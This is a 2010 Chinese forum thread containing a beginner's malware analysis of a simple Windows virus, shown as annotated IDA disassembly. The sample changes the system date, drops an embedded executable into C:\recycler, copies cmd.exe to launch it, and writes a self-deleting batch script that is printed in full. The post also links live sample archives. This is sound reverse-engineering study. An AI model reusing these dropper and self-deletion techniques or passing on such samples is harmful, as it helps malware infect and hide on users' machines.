[LCG]某简单病毒的分析

huzhao23 · 发表于 2010-1-10 19:43

本帖最后由 huzhao23 于 2010-2-20 14:53 编辑

text:004017C1                push ebp          ; winmian 函数的入口
.text:004017C2                mov    ebp, esp
.text:004017C4                sub    esp, 0B1Ch
.text:004017CA                push ebx
.text:004017CB                push esi
.text:004017CC                push edi
.text:004017CD                push 40h
.text:004017CF                xor    ebx, ebx
.text:004017D1                pop    ecx
.text:004017D2                xor    eax, eax
.text:004017D4                lea    edi, [ebp+var_113]
.text:004017DA                mov    [ebp+pszPath], bl
.text:004017E0                push offset Source ; "%SystemRoot%\\system32\\calc.exe"
.text:004017E5                rep stosd
.text:004017E7                stosw                ; 这里是字符串操作
.text:004017E9                stosb                ; 这里也是字符串操作
.text:004017EA                lea    eax, [ebp+pszPath]
.text:004017F0                push eax          ; Dest
.text:004017F1                call strcpy
.text:004017F1
.text:004017F6                pop    ecx
.text:004017F7                mov    esi, 104h
.text:004017F7
.text:004017FC
.text:004017FC loc_4017FC:                            ;
.text:004017FC                pop    ecx
.text:004017FD                lea    eax, [ebp+pszPath]
.text:00401803                push esi          ; cchString
.text:00401804                push eax          ; szString
.text:00401805                call DoEnvironmentSubstA
.text:00401805
.text:0040180B                lea    eax, [ebp+pszPath]
.text:00401811                push eax          ; pszPath
.text:00401812                call PathFileExistsA
.text:00401812
.text:00401818                test eax, eax
.text:0040181A                jz    loc_4018ED
.text:0040181A
.text:00401820
.text:00401820 loc_401820:                            ;
.text:00401820                push offset LibFileName ; "Kernel32.dll"
.text:00401825                call LoadLibraryA
.text:00401825
.text:0040182B                mov    edi, eax
.text:0040182D                push offset s->Getmodulefilenamea ; "GetModuleFileNameA"
.text:00401832                push edi          ; hModule
.text:00401833                call GetProcAddress
.text:00401833
.text:00401839                lea    ecx, [ebp+var_31C]
.text:0040183F                push esi
.text:00401840                push ecx
.text:00401841                push ebx
.text:00401842                call eax
.text:00401842
.text:00401844                push edi          ; hObject
.text:00401845                call CloseHandle
.text:00401845
.text:0040184B                lea    eax, [ebp+Buffer]
.text:00401851                push eax          ; lpBuffer
.text:00401852                push esi          ; nBufferLength
.text:00401853                call GetTempPathA ; 获取临时文件存放的路径
.text:00401853
.text:00401859                lea    eax, [ebp+SystemTime]
.text:00401859
.text:0040185C
.text:0040185C loc_40185C:                            ;
.text:0040185C                push eax          ; lpSystemTime
.text:0040185D                call GetLocalTime ; 获取系统当前的时间
.text:0040185D
.text:00401863                mov    edi, 400h
.text:00401863
.text:00401868
.text:00401868 loc_401868:                            ;
.text:00401868                lea    eax, [ebp+Dst]
.text:0040186E                push edi          ; Size
.text:0040186F                push ebx          ; Val
.text:00401870                push eax          ; Dst
.text:00401871                call memset       ; 设置内存属性
.text:00401871
.text:00401876                movzx eax, [ebp+SystemTime.wDay] ; 系统时间的天数
.text:0040187A                push eax
.text:0040187B                mov    esi, __imp_sprintf
.text:00401881                movzx eax, [ebp+SystemTime.wMonth] ; 系统时间的月数
.text:00401885                push eax
.text:00401886                push 83Eh          ; 83EH 是年份，具体是2110 年
.text:0040188B                lea    eax, [ebp+Dst]
.text:00401891                push offset s->D-D-D ; "%d-%d-%d"
.text:00401896                push eax          ; Dest
.text:00401897                call esi ; __imp_sprintf
.text:00401897
.text:00401899                push edi          ; Size
.text:0040189A                lea    eax, [ebp+Dest]
.text:004018A0                push ebx          ; Val
.text:004018A1                push eax          ; Dst
.text:004018A2                call memset
.text:004018A2
.text:004018A7                lea    eax, [ebp+Dst]  ; 把得到的2110-月份-天数给EAX
.text:004018AD                push eax
.text:004018AE                lea    eax, [ebp+Dest] ; 把存放时间的地址给EAX
.text:004018B4                push offset s->CmdCDateS ; 把命令行下拷贝时间 "cmd /c  date %s " 字符串压栈
.text:004018B9                push eax          ; Dest
.text:004018BA                call esi ; __imp_sprintf ; 把字符串连接起来  ASCII "cmd /c  date 2110-1-10 "
.text:004018BA                                        ;
.text:004018BA                                        ;
.text:004018BA
.text:004018BC                lea    eax, [ebp+Buffer] ; [EBP+Buffer] 存放的是临时文件的目录路径
.text:004018C2                push eax
.text:004018C3                lea    eax, [ebp+var_31C] ; 把临时文件目录路径字符串的地址给EAX
.text:004018C9                push eax
.text:004018CA                call sub_401698    ; F7，设置 C:\Recycled" 目录的访问权限，创建c:\recycler\recylna.bat"文件，在文件里写入一些命令
.text:004018CF                add    esp, 40h
.text:004018D2                push offset s->Te ; "TE"
.text:004018D7                push 68h
.text:004018D9                push ebx
.text:004018DA                call sub_401250    ; F7 ,关键call
.text:004018DA
.text:004018DF                add    esp, 0Ch
.text:004018E2                push 1F40h          ; dwMilliseconds
.text:004018E7                call Sleep
.text:004018E7
.text:004018ED
.text:004018ED loc_4018ED:                            ;
.text:004018ED                pop    edi
.text:004018EE                pop    esi
.text:004018EF                pop    ebx
.text:004018F0                leave
.text:004018F1                retn 10h

进入下面这个call
.text:004018CA                call sub_401698
这个call的作用就是
在c:\recycler\recylna.bat 文件中写入如下代码：
:Next
del "C:\Documents and Settings\Administrator\桌面\病毒\zhangsong.exe"
if exist "C:\Documents and Settings\Administrator\桌面\病毒\zhangsong.exe" goto Next
del "c:\recycler\recylna.bat"

进入关键 call
.text:004018DA                call sub_401250    ; F7 ,关键call
关键代码如下：
.text:004012A8 sub_4012A8    proc near             ;
.text:004012A8                and    byte ptr [ebp-28h], 0
.text:004012AC                push 6
.text:004012AE                mov    [ebp-4], eax
.text:004012B1                pop    ecx
.text:004012B2                xor    eax, eax
.text:004012B4                lea    edi, [ebp-27h]
.text:004012B7                rep stosd
.text:004012B9                push eax
.text:004012BA                lea    eax, [ebp-38h]
.text:004012BD                push eax
.text:004012BE                mov    dword ptr [ebp-38h], 525C3A43h
.text:004012C5                mov    dword ptr [ebp-34h], 63796365h
.text:004012CC                mov    dword ptr [ebp-30h], 64656Ch
.text:004012D3                call _access       ; 设置"C:\Recycled" 访问权限为可读
.text:004012D3
.text:004012D9                pop    ecx

.text:00401322 loc_401322:                            ;
.text:00401322                push eax
.text:00401323                lea    eax, [ebp-1D0h]
.text:00401329                push offset s->SDcnna_exe ; "%s\\%dcnna.exe"
.text:0040132E                push eax          ; LPSTR
.text:0040132F                call wsprintfA
.text:0040132F
.text:00401335                add    esp, 10h
.text:00401338                push offset LibFileName ; "Kernel32.dll"
.text:0040133D                call ebx ; LoadLibraryA
.text:0040133D
.text:0040133F                mov    ebx, GetProcAddress
.text:00401345                push offset ProcName ; "FindResourceA"
.text:0040134A                push eax          ; hModule
.text:0040134B                mov    [ebp-8], eax
.text:0040134E                call ebx ; GetProcAddress
.text:0040134E
.text:00401350                movzx ecx, word ptr [ebp+0Ch]
.text:00401354                push dword ptr [ebp+10h]
.text:00401357                push ecx
.text:00401358                push dword ptr [ebp+8]
.text:0040135B                call eax          ; 调用FindResourceA 获取资源
.text:0040135B
.text:0040135D                xor    edi, edi
.text:0040135F                mov    [ebp+10h], eax
.text:00401362                cmp    eax, edi
.text:00401364                jz    short loc_40139B
.text:00401364
.text:00401366                push eax          ; hResInfo
.text:00401367                push dword ptr [ebp+8] ; hModule
.text:0040136A                call LoadResource ; 加载原始文件释放的资源
.text:0040136A
.text:00401370                cmp    eax, edi
.text:00401372                mov    [ebp+8], eax
.text:00401375                jz    short loc_40139B
.text:00401375
.text:00401377                push edi
.text:00401378                push 80h
.text:0040137D                push 2
.text:0040137F                push edi
.text:00401380                push 2
.text:00401382                lea    eax, [ebp-1D0h]

.text:00401388 sub_401388    proc near             ;
.text:00401388                                        ; .rsrc:00404D2D
.text:00401388                push 40000000h    ; dwDesiredAccess
.text:0040138D                push eax          ; lpFileName
.text:0040138E                call CreateFileA    ; 创建文件(ASCII "c:\recycler\8851062cnna.exe")
.text:0040138E
.text:00401394                cmp    eax, edi
.text:00401396                mov    [ebp+0Ch], eax
.text:00401399                jnz    short loc_4013A2
.text:00401399
.text:0040139B
.text:0040139B loc_40139B:                            ;
.text:0040139B                                        ;
.text:0040139B                xor    eax, eax
.text:0040139D                jmp    loc_401693
.text:0040139D
.text:004013A2 ; ---------------------------------------------------------------------------
.text:004013A2
.text:004013A2 loc_4013A2:                            ;
.text:004013A2                push 10h          ; Size
.text:004013A4                lea    eax, [ebp-48h]
.text:004013A7                push edi          ; Val
.text:004013A8                push eax          ; Dst
.text:004013A9                call memset       ; 再次设置C:\Recycled 目录的系统属性
.text:004013A9
.text:004013AE                add    esp, 0Ch
.text:004013B1                mov    word ptr [ebp-48h], 7BEh
.text:004013B7                mov    word ptr [ebp-46h], 5
.text:004013BD                mov    word ptr [ebp-42h], 16h
.text:004013C3                push offset s->Systemtimetofiletime ; "SystemTimeToFileTime"
.text:004013C8                mov    word ptr [ebp-40h], 14h
.text:004013CE                push dword ptr [ebp-8] ; hModule
.text:004013D1                mov    [ebp-3Eh], di
.text:004013D5                call ebx ; GetProcAddress
.text:004013D5
.text:004013D7                lea    ecx, [ebp-74h]
.text:004013DA                push ecx
.text:004013DB                lea    ecx, [ebp-48h]
.text:004013DE                push ecx
.text:004013DF                call eax          ; 调用SystemTimeToFileTime函数，将系统时间转换为文件时间
.text:004013DF
.text:004013E1                push dword ptr [ebp-8] ; hLibModule
.text:004013E4                call FreeLibrary
.text:004013E4
.text:004013EA                lea    eax, [ebp-5Ch]
.text:004013ED                push eax          ; lpFileTime
.text:004013EE                lea    eax, [ebp-74h]
.text:004013F1                push eax          ; lpLocalFileTime
.text:004013F2                call LocalFileTimeToFileTime ; 将文件时间看成为当地时间并转换为文件时间
.text:004013F2
.text:004013F8                lea    eax, [ebp-5Ch]
.text:004013FB                push eax
.text:004013FC                lea    eax, [ebp-5Ch]
.text:004013FF                push edi
.text:00401400                push eax
.text:00401401                push dword ptr [ebp+0Ch]
.text:00401401
.text:00401401 sub_401388    endp ; sp-analysis failed
.text:00401401
.text:00401404
.text:00401404 ; =============== S U B R O U T I N E =======================================
.text:00401404
.text:00401404
.text:00401404 sub_401404    proc near             ; DATA XREF: sub_4041D0+49
.text:00401404                                        ; sub_404600+10
.text:00401404                                        ; .rsrc:0040489
.text:00401404                                        ; .rsrc:004049D2
.text:00401404                                        ; .rsrc:loc_404CB5
.text:00401404                call SetFileTime    ; 设置系统时间
.text:00401404
.text:0040140A                push offset s->Writefile ; "WriteFile"
.text:0040140F                push dword ptr [ebp-4] ; hModule
.text:00401412                call ebx ; GetProcAddress ; 获取writefile 函数地址
.text:00401412

.text:0040141F                call ebx ; GetProcAddress ; 获取sizeofresource函数地址
.text:0040141F
.text:00401421                lea    ecx, [ebp-78h]
.text:00401424                push edi
.text:00401425                push ecx
.text:00401426                push dword ptr [ebp+10h]
.text:00401429                push edi
.text:0040142A                call eax          ; 调用sizeofresource 函数
.text:0040142A
.text:0040142C                push eax
.text:0040142D                push dword ptr [ebp+8]
.text:00401430                push dword ptr [ebp+0Ch]
.text:00401433                call dword ptr [ebp-8]
.text:00401433
.text:00401436                push dword ptr [ebp+0Ch] ; hObject
.text:00401439                call CloseHandle
.text:00401439
.text:0040143F                push offset s->Freeresource ; "FreeResource"
.text:00401444                push dword ptr [ebp-4] ; hModule
.text:00401447                call ebx ; GetProcAddress
.text:00401447
.text:00401449                push dword ptr [ebp+8]
.text:0040144C                call eax          ; 释放资源
.text:0040144C
.text:0040144E                mov    edi, fopen

.text:00401454 sub_401454    proc near             ;
.text:00401454
.text:00401454 var_4          = dword ptr -4
.text:00401454
.text:00401454                lea    eax, [ebp-1D0h] ; c:\recycler\8851062cnna.exe 指针给EAX
.text:0040145A                push offset Mode    ; 设置8851062cnna.exe 为可读可写属性
.text:0040145F                push eax          ; Filename
.text:00401460                call edi ; fopen
.text:00401460
.text:00401462                mov    cx, word ptr dword_401120
.text:00401469                mov    [ebp+0Ch], eax
.text:0040146C                push eax          ; File
.text:0040146D                push 1             ; Count
.text:0040146F                lea    eax, [ebp-0Eh]
.text:00401472                push 1             ; Size
.text:00401474                push eax          ; Str
.text:00401475                mov    [ebp-0Eh], cx
.text:00401479                call fwrite
.text:00401479
.text:0040147F                push dword ptr [ebp+0Ch] ; File
.text:00401482                call fclose
.text:00401482
.text:00401488                lea    eax, [ebp-1D0h]
.text:0040148E                push offset Mode    ; Mode
.text:00401493                push eax          ; Filename
.text:00401494                call edi ; fopen
.text:00401494
.text:00401496                mov    [ebp+0Ch], eax
.text:00401499                push esi          ; Size
.text:0040149A                push 0             ; Val
.text:0040149C                lea    eax, [ebp-0DD0h]
.text:004014A2                push eax          ; Dst
.text:004014A3                call memset
.text:004014A3
.text:004014A8                push dword ptr [ebp+0Ch] ; File
.text:004014AB                lea    eax, [ebp-0DD0h]
.text:004014B1                push esi          ; Count
.text:004014B2                push 1             ; ElementSize
.text:004014B4                push eax          ; DstBuf
.text:004014B5                call fread          ; 读入c:\recycler\8851062cnna.exe

.text:00401506                push 0             ; Origin
.text:00401508                push dword ptr [ebp+8] ; Offset
.text:0040150B                push dword ptr [ebp+0Ch] ; File
.text:0040150E                call fseek          ; 从8851062cnna.exe的开始来移动文件的指针到一个地址里
.text:0040150E
.text:00401514                add    esp, 2Ch
.text:00401517                lea    eax, [ebp-54h]
.text:0040151A                push dword ptr [ebp+0Ch] ; File
.text:0040151D                push eax          ; Str
.text:0040151E                call strlen       ; 获取字符PE 的长度
.text:0040151E

.text:00401590 loc_401590:                            ;
.text:00401590                mov    dword ptr [ebp-28h], 525C3A43h
.text:00401597                mov    dword ptr [ebp-24h], 63796365h
.text:0040159E                mov    dword ptr [ebp-20h], 5C64656Ch
.text:0040159E
.text:004015A5
.text:004015A5 loc_4015A5:                            ;
.text:004015A5                push offset s->Getsystemdirectorya ; "GetSystemDirectoryA"
.text:004015AA                mov    dword ptr [ebp-1Ch], 79636572h
.text:004015B1                push dword ptr [ebp-4] ; hModule
.text:004015B4                mov    dword ptr [ebp-18h], 78652E6Ch
.text:004015BB                mov    dword ptr [ebp-14h], 65h
.text:004015C2                call ebx ; GetProcAddress
.text:004015C2
.text:004015C4                lea    ecx, [ebp-9D0h]
.text:004015CA                push esi
.text:004015CB                push ecx
.text:004015CC                call eax          ; 调用GetSystemDirectoryA函数获取系统 C:\WINDOWS\system32 目录
.text:004015CC
.text:004015CE                lea    eax, [ebp-9D0h]
.text:004015D4                push eax
.text:004015D5                lea    eax, [ebp-5D0h]
.text:004015DB                push offset dword_4010F8 ;    调用CMD.EXE
.text:004015E0                push eax          ; Dest
.text:004015E1                call edi ; __imp_sprintf ; 复制 "C:\WINDOWS\system32\cmd.exe"
.text:004015E1
.text:004015E3                add    esp, 0Ch
.text:004015E6                push offset s->Copyfilea ; "CopyFileA"
.text:004015EB                push dword ptr [ebp-4] ; hModule
.text:004015EE                call ebx ; GetProcAddress
.text:004015EE
.text:004015F0                lea    ecx, [ebp-28h]
.text:004015F3                push 0
.text:004015F5                push ecx
.text:004015F6                lea    ecx, [ebp-5D0h]
.text:004015FC                push ecx
.text:004015FD                call eax          ; 把 "c:\recycler\recyl.exe"文件重命名为C:\WINDOWS\system32\cmd.exe"
.text:004015FD
.text:004015FF                push esi

.text:00401614 sub_401614    proc near             ;
.text:00401614                push eax
.text:00401615                lea    eax, [ebp-11D0h]
.text:0040161B                push offset dword_4010E0 ; Format
.text:00401620                push eax          ; Dest
.text:00401621                call edi ; __imp_sprintf ; 得到"cmd /c  c:\recycler\8851062cnna.exe "字符串
.text:00401621
.text:00401623                add    esp, 18h
.text:00401626                xor    eax, eax
.text:00401628                lea    edi, [ebp-0B8h]
.text:0040162E                xor    esi, esi
.text:00401630                push 10h
.text:00401632                pop    ecx
.text:00401633                push offset s->Createprocessa ; "CreateProcessA"

.text:00401668 sub_401668    proc near             ;
.text:00401668                lea    ecx, [ebp-0BCh]
.text:0040166E                push ecx
.text:0040166F                push esi
.text:00401670                push esi
.text:00401671                push 8000020h
.text:00401676                push 1
.text:00401678                push esi
.text:00401679                lea    ecx, [ebp-11D0h]
.text:0040167F                push esi
.text:00401680                push ecx
.text:00401681                lea    ecx, [ebp-28h]
.text:00401684                push ecx
.text:00401685                call eax          ; 创建一个进程，并且以ASCII "c:\recycler\recyl.exe"中的recyl.exe 作为进程信息
.text:00401685
.text:00401687                push dword ptr [ebp-4] ; hLibModule
.text:0040168A                call FreeLibrary
.text:0040168A
.text:00401690                push 1
.text:00401692                pop    eax

分析就这么多，初次分析这样的东西，可能分析的不是很全面，讲解说明上可能不是很得当，请各位大侠指教哈。。。

病毒样本：

1.rar (48 KB, 下载次数: 12)

RECYCLER 里释放的文件：

RECYCLER.rar (196.11 KB, 下载次数: 4)

紫色 · 发表于 2010-1-10 20:40

呵呵分析的不错哦我的好好学习一下咯

smallyou93 · 发表于 2010-1-10 20:58

用ResHacker提取一下，修复下PE头，再提取，再修复，得出两个exe和一个Dll

一击屠夫 · 发表于 2010-1-11 18:22

看过顶一下

yuansunxue · 发表于 2010-1-12 09:39

回复 3# smallyou93

看来版主分析过这个

as3852711 · 发表于 2010-1-24 09:21

看过顶一下

帐号		自动登录	找回密码
密码			注册[Register]

[PC样本分析] [LCG]某简单病毒的分析

免费评分

个人中心